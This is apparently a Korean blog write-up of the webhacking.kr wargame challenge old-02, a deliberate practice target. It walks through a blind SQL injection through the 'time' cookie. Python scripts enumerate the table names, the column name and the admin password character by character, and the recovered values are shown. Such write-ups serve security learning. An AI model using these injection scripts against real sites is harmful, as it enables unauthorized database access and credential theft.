🔎 Check & Analyze
webhacking.kr의 old 2번 문제
문제에서 제공하는 페이지에 접속하면 위와 같은 페이지가 나타난다.
주석에는 현재 시간과 admin.php에 접속하면 ass를 kick 해버리겠다는 메시지를 확인할 수 있다.
🍪 time 쿠키 변조
쿠키를 확인해보면
time 값이 따로 있는 걸 볼 수 있다.
이 값을 변조해보자!
입력한 쿠키의 값이 반영되는 것을 확인할 수 있다.
time 에 대한 값이 실제로 코드에 반영이 되는 반면, 0(거짓)으로 변조하는 경우에는 초기의 코드로 돌아가는 것을 확인할 수 있다.
만약 거짓에 대한 결과가 궁금하다면
SQL 문으로 거짓 값을 입력해줄 수 있다.
이로써 확실히 SQL 구문이 적용되는 것을 알 수 있다.
⬛ Blind SQL Injection
select count(table_name) from information_schema.tables where table_schema=database()
현재의 데이터베이스에 있는 테이블의 개수
주의할 점은 SQL 구문을 ()로 감싸야한다는 것이다.
결과를 확인해보면 초의 가장 끝자리가 2로, 그 결과가 2라는 것을 알 수 있다.
즉, 현재 테이블이 2개 있다는 것이다.
하나씩 테이블의 이름을 확인해보자!
먼저 가장 앞에 있는 테이블의 이름의 길이는 13인 것을 확인했다.
#!/usr/bin/python3
import requests
import string
url = 'https://webhacking.kr/challenge/web-02/' # example URL
cookie = {
'PHPSSESSID':'purpqads1ap243lmf4rl9q0vt3',
'time': ''
}
tc = string.ascii_letters + string.digits + string.punctuation
# length (1)
query_len1 = '(select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)'
cookie['time'] = query_len1
req = requests.get(url, cookies=cookie)
# req 결과 코드 가져옴
print(req.text)
두 번째 테이블의 길이와 테이블의 이름들까지 알아보자!
select ascii(substring(table_name, idx, 1)) from information_schema.tables where table_schema=database() limit 0, 1
테이블의 이름을 아스키 코드의 형태로 하나씩 읽어오는 sql 구문
여기서 조심해야 하는 것은, 테이블의 오프셋과 달리 문자열의 인덱스는 1번부터 시작한다는 것이다.
01:37은 60+37 = 97초로, 97에 해당하는 문자는 'a'이다.
#!/usr/bin/python3
import requests
import string
url = 'https://webhacking.kr/challenge/web-02/' # example URL
cookie = {
'PHPSSESSID':'purpqads1ap243lmf4rl9q0vt3',
'time': ''
}
tc = string.ascii_letters + string.digits + string.punctuation
query = '''
(select ascii(substring(table_name, {idx}, 1)) from information_schema.tables where table_schema=database() limit 0, 1)
'''
# table_name (1)
for i in range(1,14):
cookie['time'] = query.format(idx=i).strip('\n')
req = requests.get(url, cookies=cookie)
print(req.text)
# 97 100 109 105 110 95 97 114 101 97 95 112 119
# admin_area_pw
#!/usr/bin/python3
import requests
import string
url = 'https://webhacking.kr/challenge/web-02/' # example URL
cookie = {
'PHPSSESSID':'purpqads1ap243lmf4rl9q0vt3',
'time': ''
}
tc = string.ascii_letters + string.digits + string.punctuation
query = '''
(select ascii(substring(table_name, {idx}, 1)) from information_schema.tables where table_schema=database() limit 1, 1)
'''
# table_name (2)
for i in range(1,4):
cookie['time'] = query.format(idx=i).strip('\n')
req = requests.get(url, cookies=cookie)
print(req.text)
# 108 111 103
# log
이렇게 테이블의 이름을 알아내면, 첫 번째 테이블에 password가 있음을 추측해볼 수 있다.
(select length(column_name) from information_schema.columns where table_name="<table_name>")
<table_name>이라는 테이블의 칼럼 이름의 길이를 반환한다.
#!/usr/bin/python3
import requests
import string
url = 'https://webhacking.kr/challenge/web-02/' # example URL
cookie = {
'PHPSSESSID':'purpqads1ap243lmf4rl9q0vt3',
'time': ''
}
tc = string.ascii_letters + string.digits + string.punctuation
query = '''
(select length(column_name) from information_schema.columns where table_name="admin_area_pw")
'''
# column_length
cookie['time'] = query.strip('\n')
req = requests.get(url, cookies=cookie)
print(req.text)
칼럼 이름의 길이를 알아냈다면 앞에서와 마찬가지로 칼럼의 이름을 알아낸다.
(select ascii(substr(column_name, 1, 1) from information_schema.columns where table_name="<table_name>")
#!/usr/bin/python3
import requests
import string
url = 'https://webhacking.kr/challenge/web-02/' # example URL
cookie = {
'PHPSSESSID':'purpqads1ap243lmf4rl9q0vt3',
'time': ''
}
tc = string.ascii_letters + string.digits + string.punctuation
query = '''
(select ascii(substr(column_name, {idx}, 1)) from information_schema.columns where table_name="admin_area_pw")
'''
# column_name
cookie['time'] = query.format(idx=1).strip('\n')
req = requests.get(url, cookies=cookie)
print(req.text)
cookie['time'] = query.format(idx=2).strip('\n')
req = requests.get(url, cookies=cookie)
print(req.text)
칼럼 이름: pw
마지막으로 칼럼의 값(=passowrd)를 읽어오자!
1. 비밀번호의 길이
2. 비밀번호 아스키값
#!/usr/bin/python3
import requests
import string
url = 'https://webhacking.kr/challenge/web-02/' # example URL
cookie = {
'PHPSSESSID':'purpqads1ap243lmf4rl9q0vt3',
'time': ''
}
tc = string.ascii_letters + string.digits + string.punctuation
query = '''
(select length(pw) from admin_area_pw)
'''
# password_length
cookie['time'] = query.strip('\n')
req = requests.get(url, cookies=cookie)
print(req.text)
#!/usr/bin/python3
import requests
import string
url = 'https://webhacking.kr/challenge/web-02/' # example URL
cookie = {
'PHPSSESSID':'purpqads1ap243lmf4rl9q0vt3',
'time': ''
}
tc = string.ascii_letters + string.digits + string.punctuation
query = '''
(select ascii(substr(pw, {idx}, 1)) from admin_area_pw)
'''
# password
for i in range(1, 18):
cookie['time'] = query.format(idx=i).strip('\n')
req = requests.get(url, cookies=cookie)
print(req.text[5:25])
107 117 100 111 115 95 116 111 95 98 101 105 115 116 108 97 98
🔓 Exploit
password까지 알아냈다면 이제 admin.php로 넘어가서 password를 입력해본다!
'Web > Web Hacking (Wargame)' 카테고리의 다른 글
[webhacking.kr] old-05 (0) | 2022.12.22 |
---|---|
[webhacking.kr] old-06 (0) | 2022.12.21 |
[Dreamhack] Carve Party (0) | 2022.04.24 |
[HackCTF] hidden (0) | 2021.08.13 |
[HackCTF/Web] 1번. / (0) | 2021.08.09 |